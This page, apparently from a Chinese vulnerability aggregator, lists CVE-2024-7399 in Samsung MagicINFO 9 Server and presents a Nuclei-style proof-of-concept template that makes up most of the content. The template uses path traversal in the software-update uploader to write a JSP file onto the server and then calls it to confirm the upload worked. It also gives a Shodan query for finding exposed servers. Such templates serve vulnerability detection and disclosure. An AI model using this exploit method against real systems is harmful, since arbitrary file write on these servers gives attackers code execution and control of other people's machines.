CVE-2024-7399: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution

日期: 2025-08-01 | 影响软件: Samsung MagicINFO 9 Server | POC: 已公开

漏洞描述

Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.

PoC代码[已公开]

id: CVE-2024-7399

info:
  name: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution
  author: iamnoooob,pdresearch
  severity: high
  description: |
    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-7399
    cwe-id: CWE-22
    epss-score: 0.695
    epss-percentile: 0.98609
    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: samsung
    product: magicinfo_9_server
    verified: true
    max-request: 1
    shodan-query: 'Server: MagicInfo Premium Server'
  tags: cve,cve2024,rce,magicinfo,samsung,file-upload,intrusive,vkev

flow: http(1) && http(2)

variables:
  filename: "{{randbase(6)}}"
  input: "{{randstr}}"

http:
  - raw:
      - |
        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.jsp&deviceType=abc&deviceModelName=test&swVer=123 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        <%@ page import="java.util.Base64" %>
        <%
        String base64Input = request.getParameter("input");
        if (base64Input != null) {
            byte[] decodedBytes = Base64.getDecoder().decode(base64Input);
            out.print(new String(decodedBytes));
        }
        %>

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /MagicInfo/{{filename}}.jsp?input={{urlencode(base64(input))}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{input}}'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c5cee85a2ac792daa5c606183ad4b277f91379e7d0149e59c949258e88f2f0ac022100bcbe36426ac635aae57061e72ee485e223c60f74692949067ecef0eaff011f5b:922c64590222798bb761d5b6d8e72950

相关漏洞推荐